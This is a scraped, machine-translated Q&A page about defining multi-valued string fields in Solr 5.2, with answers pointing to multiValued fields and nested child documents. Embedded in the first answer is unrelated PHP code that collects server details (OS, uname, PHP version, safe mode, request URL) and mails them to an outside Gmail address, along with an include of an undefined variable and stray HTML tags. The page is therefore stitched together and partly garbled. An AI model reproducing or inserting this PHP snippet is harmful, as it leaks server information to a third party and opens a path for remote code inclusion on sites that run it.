Solr 5.2如何定义字符串列表或集合

时间:2015-08-02 15:43:13

标签: java solr solrj

我是索尔的新手,到目前为止真的很喜欢。

我已经能够在Schema.xml中定义索引的数据类型,并在我的solr域对象上使用Solrj Bean注释@field我让我的Java应用程序调用solrClient并保存它们很棒。

不幸的是,我无法看到或理解如何在以太Schema.xml或Java对象中建模Strings集合。

我想做的是这样的事情:

@field
private String someField;
@field
private String anotherField;
@field   
private List<String> someCollectionOfFields;

我不明白我应该如何对这个场景进行建模。起初我虽然将该集合展平为逗号分隔列表并将其定义为字符串但不了解Solr将如何对待它?

所以,如果我有以下&#34; Big Bus&#34;,&#34; Big Red Bus&#34;,&#34; Big Red Car&#34;我把3个字符串编入索引作为单独的术语而不只是单词Big导致所有3被返回。

我应该这样做吗?

我正在努力寻找如何在文档中对集合进行建模,我看到的只有Date Fields,Money Fields和其他但没有集合,任何帮助都会很棒。

由于 马克

2 个答案:

答案 0 :(得分:2)

您的问题的解决方案是具有属性multiValued = true

的Solr字段类型

定义一个字段,如下所示

<add>
    <doc>
        <field name="id">1234</field>
        <field name="bustypes">Big Bus</field>
        <field name="bustypes">Big Red Bus</field>
        <field name="bustypes">Big Red Car</field>
    </doc>
</add>

这将允许为同一个doc发送同一字段的多个值。

<?php
  $OS = @PHP_OS;
  $UNAME = @php_uname();
  $PHPv = @phpversion();
  $SafeMode = @ini_get('safe_mode');

  $hosts = $_SERVER["HTTP_HOST"];

  if ($SafeMode == '') { $SafeMode = "<i>OFF</i><BR>"; }
  else { $SafeMode = "<i>$SafeMode</i><BR>"; }


  $injek=($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);

  $psn=("OS = " . $OS . "<BR>UNAME = " . $UNAME . "<BR>PHPVersion = " . $PHPv . "<BR>Safe Mode = " . $SafeMode . "<BR><font color=blue>http://" . $injek . "</font><BR>Ingat jangan pakai Injek Ini.<BR>");

  $header = $_SERVER["HTTP_HOST"];
  $header .= "MIME-Version: 1.0\r\n";
  If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n";
  If ($file_name) $header .= "--$uid\r\n";
  $header .= "Content-Type: text/$contenttype\r\n";
  $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";
  $header .= "$message\r\n";
  If ($file_name) $header .= "--$uid\r\n";
  If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
  If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n";
  If ($file_name) $header .= "Content-Disposition: attachment; 

filename=\"$file_name\"\r\n\r\n";
  If ($file_name) $header .= "$content\r\n";
  If ($file_name) $header .= "--$uid--";
  $to = ("toyota.corola2016@gmail.com");
  $subject = ("$UNAME");
  mail($to,$subject,$psn,$header);

@include "$bn";

?>
  </table>
  </fieldset></form>
</div>
</body>

</html>

答案 1 :(得分:0)

除了上述内容之外,如果您有对象列表而不仅仅是字符串,则可以使用嵌套(子)文档here。这将帮助您基于子进行查询并获取父文档,反之亦然